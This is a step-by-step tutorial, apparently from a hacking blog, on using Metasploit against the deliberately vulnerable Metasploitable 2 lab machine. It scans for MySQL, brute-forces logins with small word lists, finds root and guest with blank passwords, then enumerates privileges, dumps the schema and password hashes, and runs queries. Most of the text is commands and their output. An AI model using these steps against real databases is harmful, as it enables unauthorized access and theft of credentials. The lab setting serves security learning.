It's been said time and time again: reconnaissance is perhaps the most critical phase of an attack. It's especially important when preparing an attack against a database since one wrong move can destroy every last bit of data, which usually isn't the desired outcome. Metasploit contains a variety of modules that can be used to enumerate MySQL databases, making it easy to gather valuable information.
What Information Is Valuable to an Attacker?
To a skilled hacker, almost any data can be important when it comes to preparing an attack. When we think of SQL from this perspective, a lot of times our minds go right to SQL injection, but gathering information about the database itself can sometimes be just as important.
Things to look for when enumerating a database include the version, as sometimes a successful attack can be as easy as finding an exploit for an outdated version. Other things to look for are valid credentials, which can not only be used for the database, but often can be used for other applications or systems (password reuse is a real thing, and a real problem for organizations). Lastly, information about the structure of the database can be extremely useful for performing SQL injection since knowing what's there is often half the battle.
Today, we will be using Metasploit to enumerate some of this information on a MySQL database. We'll be attacking Metasploitable 2 via our Kali Linux box.
Step 1: Perform the Nmap Scan
The first thing we need to do is determine if MySQL is running on the target. Since we know it runs on port 3306 by default, we can use Nmap to scan the host:
~# nmap 10.10.0.50 -p 3306
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-21 08:09 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00073s latency).
PORT STATE SERVICE
3306/tcp open mysql
MAC Address: 00:1D:09:55:B1:3B (Dell)
Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
And we can see, MySQL is indeed running and the port is open. Remember to use the correct IP address of the target.
Step 2: Get the Login Info
Now that we are certain MySQL is open on the target, we can get into enumeration to gather as much information as possible for reconnaissance. To begin, fire up Metasploit by typing msfconsole in the terminal.
~# msfconsole
We can then search for any modules relating to MySQL by using the search command:
msf5 > search mysql
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
1 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
2 auxiliary/admin/mysql/mysql_enum normal No MySQL Enumeration Module
3 auxiliary/admin/mysql/mysql_sql normal No MySQL SQL Generic Query
4 auxiliary/admin/tikiwiki/tikidblib 2006-11-01 normal No TikiWiki Information Disclosure
5 auxiliary/analyze/jtr_mysql_fast normal No John the Ripper MySQL Password Cracker (Fast Mode)
6 auxiliary/gather/joomla_weblinks_sqli 2014-03-02 normal Yes Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
7 auxiliary/scanner/mysql/mysql_authbypass_hashdump 2012-06-09 normal Yes MySQL Authentication Bypass Password Dump
8 auxiliary/scanner/mysql/mysql_file_enum normal Yes MYSQL File/Directory Enumerator
9 auxiliary/scanner/mysql/mysql_hashdump normal Yes MYSQL Password Hashdump
10 auxiliary/scanner/mysql/mysql_login normal Yes MySQL Login Utility
11 auxiliary/scanner/mysql/mysql_schemadump normal Yes MYSQL Schema Dump
12 auxiliary/scanner/mysql/mysql_version normal Yes MySQL Server Version Enumeration
13 auxiliary/scanner/mysql/mysql_writable_dirs normal Yes MYSQL Directory Write Test
14 auxiliary/server/capture/mysql normal No Authentication Capture: MySQL
15 exploit/linux/mysql/mysql_yassl_getname 2010-01-25 good No MySQL yaSSL CertDecoder::GetName Buffer Overflow
16 exploit/linux/mysql/mysql_yassl_hello 2008-01-04 good No MySQL yaSSL SSL Hello Message Buffer Overflow
17 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
18 exploit/multi/http/zpanel_information_disclosure_rce 2014-01-30 excellent No Zpanel Remote Unauthenticated RCE
19 exploit/multi/mysql/mysql_udf_payload 2009-01-16 excellent No Oracle MySQL UDF Payload Execution
20 exploit/unix/webapp/kimai_sqli 2013-05-21 average Yes Kimai v0.9.2 'db_restore.php' SQL Injection
21 exploit/unix/webapp/wp_google_document_embedder_exec 2013-01-03 normal Yes WordPress Plugin Google Document Embedder Arbitrary File Disclosure
22 exploit/windows/mysql/mysql_mof 2012-12-01 excellent Yes Oracle MySQL for Microsoft Windows MOF Execution
23 exploit/windows/mysql/mysql_start_up 2012-12-01 excellent Yes Oracle MySQL for Microsoft Windows FILE Privilege Abuse
24 exploit/windows/mysql/mysql_yassl_hello 2008-01-04 average No MySQL yaSSL SSL Hello Message Buffer Overflow
25 exploit/windows/mysql/scrutinizer_upload_exec 2012-07-27 excellent Yes Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential
26 post/linux/gather/enum_configs normal No Linux Gather Configurations
27 post/linux/gather/enum_users_history normal No Linux Gather User History
28 post/multi/manage/dbvis_add_db_admin normal No Multi Manage DbVisualizer Add Db Admin
There's a lot here, but mostly we are concerned with some of the auxiliary scanners for now. The first one we'll look at is the mysql_login module, which will find some valid credentials for the MySQL service. Load it up with the use command:
msf5 > use auxiliary/scanner/mysql/mysql_login
Now, we can take a look at the current settings using the options command:
msf5 auxiliary(scanner/mysql/mysql_login) > options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
First, let's create a text file containing a list of possible usernames. We'll keep it short for demonstration purposes, but longer, publicly available lists can also be used. We'll call it users.txt:
msf5 auxiliary(scanner/mysql/mysql_login) > nano users.txt
[*] exec: nano users.txt
Now let's add a few common potential usernames:
root
admin
guest
user
mysql
Save the file, then we'll do the same thing for passwords:
msf5 auxiliary(scanner/mysql/mysql_login) > nano passwords.txt
[*] exec: nano passwords.txt
Again, feel free to use longer password lists, but just know the module will take longer to complete. For now, we'll throw in a few common passwords:
password
mysql
root
admin
Then, we can set the file to read the usernames from:
msf5 auxiliary(scanner/mysql/mysql_login) > set user_file users.txt
user_file => users.txt
And do the same for the passwords file:
msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file passwords.txt
pass_file => passwords.txt
MySQL can also allow logins with a blank password, so it's wise to check for that as well. Set the option to true to check for blank passwords:
msf5 auxiliary(scanner/mysql/mysql_login) > set blank_passwords true
blank_passwords => true
The last thing we need to do is set the IP address of our target. We can use the setg command here to set the option globally since all of our scans will run on the same host:
msf5 auxiliary(scanner/mysql/mysql_login) > setg rhosts 10.10.0.50
rhosts => 10.10.0.50
Finally, type run to kick it off:
msf5 auxiliary(scanner/mysql/mysql_login) > run
[+] 10.10.0.50:3306 - 10.10.0.50:3306 - Found remote MySQL version 5.0.51a
[!] 10.10.0.50:3306 - No active DB -- Credential data will not be saved!
[+] 10.10.0.50:3306 - 10.10.0.50:3306 - Success: 'root:'
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin: (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:password (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:mysql (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:root (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:admin (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[+] 10.10.0.50:3306 - 10.10.0.50:3306 - Success: 'guest:'
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user: (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:password (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:mysql (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:root (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:admin (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql: (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:password (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:mysql (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:root (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:admin (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[*] 10.10.0.50:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
We can see that it tries all the possible combinations of usernames and passwords we gave it, and it found a couple of valid logins in the process. It looks like both guest and root are valid logins using blank passwords, which will be good to know for the upcoming modules.
Step 3: Run the MySQL Enumerator
The next module we'll look at will automatically enumerate various information about the MySQL database, including the version number, server information, data directory, and several other options that can be configured in MySQL.
To get started, load the mysql_enum module:
msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/admin/mysql/mysql_enum
Next, we can take a look at the options this module has to offer:
msf5 auxiliary(admin/mysql/mysql_enum) > options
Module options (auxiliary/admin/mysql/mysql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
USERNAME no The username to authenticate as
The port number is set by default, and since we previously used the global option to set the IP address, the only thing we need to set here is the username. We know from the previous step that this instance of MySQL allows root to login with a blank password, so we can set that option globally now:
msf5 auxiliary(admin/mysql/mysql_enum) > setg username root
username => root
The only thing left to do is to launch the module:
msf5 auxiliary(admin/mysql/mysql_enum) > run
[*] Running module against 10.10.0.50
[*] 10.10.0.50:3306 - Running MySQL Enumerator...
[*] 10.10.0.50:3306 - Enumerating Parameters
[*] 10.10.0.50:3306 - MySQL Version: 5.0.51a-3ubuntu5
[*] 10.10.0.50:3306 - Compiled for the following OS: debian-linux-gnu
[*] 10.10.0.50:3306 - Architecture: i486
[*] 10.10.0.50:3306 - Server Hostname: metasploitable
[*] 10.10.0.50:3306 - Data Directory: /var/lib/mysql/
[*] 10.10.0.50:3306 - Logging of queries and logins: OFF
[*] 10.10.0.50:3306 - Old Password Hashing Algorithm OFF
[*] 10.10.0.50:3306 - Loading of local files: ON
[*] 10.10.0.50:3306 - Deny logins with old Pre-4.1 Passwords: OFF
[*] 10.10.0.50:3306 - Allow Use of symlinks for Database Files: YES
[*] 10.10.0.50:3306 - Allow Table Merge: YES
[*] 10.10.0.50:3306 - SSL Connections: Enabled
[*] 10.10.0.50:3306 - SSL CA Certificate: /etc/mysql/cacert.pem
[*] 10.10.0.50:3306 - SSL Key: /etc/mysql/server-key.pem
[*] 10.10.0.50:3306 - SSL Certificate: /etc/mysql/server-cert.pem
[*] 10.10.0.50:3306 - Enumerating Accounts:
[*] 10.10.0.50:3306 - List of Accounts with Password Hashes:
[+] 10.10.0.50:3306 - User: debian-sys-maint Host: Password Hash:
[+] 10.10.0.50:3306 - User: root Host: % Password Hash:
[+] 10.10.0.50:3306 - User: guest Host: % Password Hash:
[*] 10.10.0.50:3306 - The following users have GRANT Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have CREATE USER Privilege:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have RELOAD Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have SHUTDOWN Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have SUPER Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have FILE Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have PROCESS Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following accounts have privileges to the mysql database:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following accounts have empty passwords:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following accounts are not restricted by source:
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - User: root Host: %
[*] Auxiliary module execution completed
We can see it returns a bunch of information that could end up being extremely useful.
Step 4: Dump the Database Schema
The next module we will use is the mysql_schemadump module, which, as the name implies, will dump the schema information about the database. A schema can be thought of as a sort of a blueprint for the database, containing organizational details on how it's laid out. It can be a lot of data to sift through, but it can help identify key pieces of the database in the recon phase.
First, load the module:
msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_schemadump
And we can look at the options:
msf5 auxiliary(scanner/mysql/mysql_schemadump) > options
Module options (auxiliary/scanner/mysql/mysql_schemadump):
Name Current Setting Required Description
---- --------------- -------- -----------
DISPLAY_RESULTS true yes Display the Results to the Screen
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
USERNAME root no The username to authenticate as
Everything should be good to go here, so let's kick it off:
msf5 auxiliary(scanner/mysql/mysql_schemadump) > run
[+] 10.10.0.50:3306 - Schema stored in: /root/.msf4/loot/20200121084427_default_10.10.0.50_mysql_schema_679633.txt
[+] 10.10.0.50:3306 - MySQL Server Schema
Host: 10.10.0.50
Port: 3306
====================
---
- DBName: dvwa
Tables:
- TableName: guestbook
Columns:
- ColumnName: comment_id
ColumnType: smallint(5) unsigned
- ColumnName: comment
ColumnType: varchar(300)
- ColumnName: name
ColumnType: varchar(100)
- TableName: users
Columns:
- ColumnName: user_id
ColumnType: int(6)
- ColumnName: first_name
ColumnType: varchar(15)
- ColumnName: last_name
ColumnType: varchar(15)
- ColumnName: user
ColumnType: varchar(15)
- ColumnName: password
ColumnType: varchar(32)
- ColumnName: avatar
ColumnType: varchar(70)
- DBName: metasploit
Tables: []
- DBName: owasp10
Tables:
- TableName: accounts
Columns:
- ColumnName: cid
ColumnType: int(11)
- ColumnName: username
ColumnType: text
- ColumnName: password
ColumnType: text
- ColumnName: mysignature
ColumnType: text
- ColumnName: is_admin
ColumnType: varchar(5)
- TableName: blogs_table
...
As previously stated, it will return a lot of information, but luckily, Metasploit saves the loot in a text file for more convenient viewing.
Step 5: Get the MySQL Password Hashes
The next module we'll try out will attempt to gather any additional password hashes it finds in the database. It can be useful for pivoting to other systems, identifying password reuse, or gaining admin privileges if operating as another user.
Load the mysql_hashdump module:
msf5 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_hashdump
And take a peek at the options:
msf5 auxiliary(scanner/mysql/mysql_hashdump) > options
Module options (auxiliary/scanner/mysql/mysql_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
USERNAME root no The username to authenticate as
Again, it all looks good, so we can launch the module:
msf5 auxiliary(scanner/mysql/mysql_hashdump) > run
[+] 10.10.0.50:3306 - Saving HashString as Loot: debian-sys-maint:
[+] 10.10.0.50:3306 - Saving HashString as Loot: root:
[+] 10.10.0.50:3306 - Saving HashString as Loot: guest:
[*] 10.10.0.50:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
We can see that it completes and saves any discovered hashes as loot. In this case, none of the users on the system have passwords set, so we don't get any strings.
Step 6: Run SQL Queries
The last module we will look at today is the mysql_sql module, which can run SQL queries from within the Metasploit Framework. It does require a working knowledge of the SQL language, so at this point, it might be more efficient to just connect to the database directly to issue commands. However, this demonstrates how to do everything without having to leave Metasploit.
First, load the module:
msf5 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/admin/mysql/mysql_sql
Then, we can view the current options:
msf5 auxiliary(admin/mysql/mysql_sql) > options
Module options (auxiliary/admin/mysql/mysql_sql):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
SQL select version() yes The SQL to execute.
USERNAME root no The username to authenticate as
The only thing we need to set is the SQL query to run against the target. For instance, one of the first commands to get familiar with when connecting to a database is the show databases command. That will list all of the available databases to use.
Set the option:
msf5 auxiliary(admin/mysql/mysql_sql) > set sql show databases
sql => show databases
And finally, run the module:
msf5 auxiliary(admin/mysql/mysql_sql) > run
[*] Running module against 10.10.0.50
[*] 10.10.0.50:3306 - Sending statement: 'show databases'...
[*] 10.10.0.50:3306 - | information_schema |
[*] 10.10.0.50:3306 - | dvwa |
[*] 10.10.0.50:3306 - | metasploit |
[*] 10.10.0.50:3306 - | mysql |
[*] 10.10.0.50:3306 - | owasp10 |
[*] 10.10.0.50:3306 - | tikiwiki |
[*] 10.10.0.50:3306 - | tikiwiki195 |
[*] Auxiliary module execution completed
We can see there are a handful of different databases present in this instance of MySQL.
Wrapping Up
Today, we explored some ways to collect valuable information about MySQL databases using Metasploit. We learned how to find credentials, schema information, password hashes, and other useful data that could be used to successfully attack the system. Bottom line: it pays to be prepared.
Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:
2 Comments
I tried running the nmap command but it returned
PORT STATE SERVICE
3306/tcp filtered. Mysql
<i>cool</i>
Share Your Thoughts